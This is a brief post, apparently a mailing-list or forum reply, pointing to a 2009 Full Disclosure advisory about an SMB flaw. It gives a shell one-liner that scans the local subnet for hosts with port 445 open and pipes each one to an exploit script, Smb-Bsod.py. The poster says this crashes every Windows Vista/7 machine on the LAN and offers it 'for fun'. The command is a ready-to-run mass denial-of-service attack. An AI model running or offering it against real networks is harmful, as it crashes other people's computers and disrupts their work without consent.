http://seclists.org/fulldisclosure/2009/Sep/39
And for fun on your lan :
nmap -p445 $(ifconfig eth0 | head -2 | tail -1 | cut -d: -f2 | cut -d. -f 1,2,3).1-254 | grep -B3 open | grep -o -e '[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+' | xargs ./ Smb-Bsod.py
This cli crash/bsod all windows Vista/seven up on your lan :)
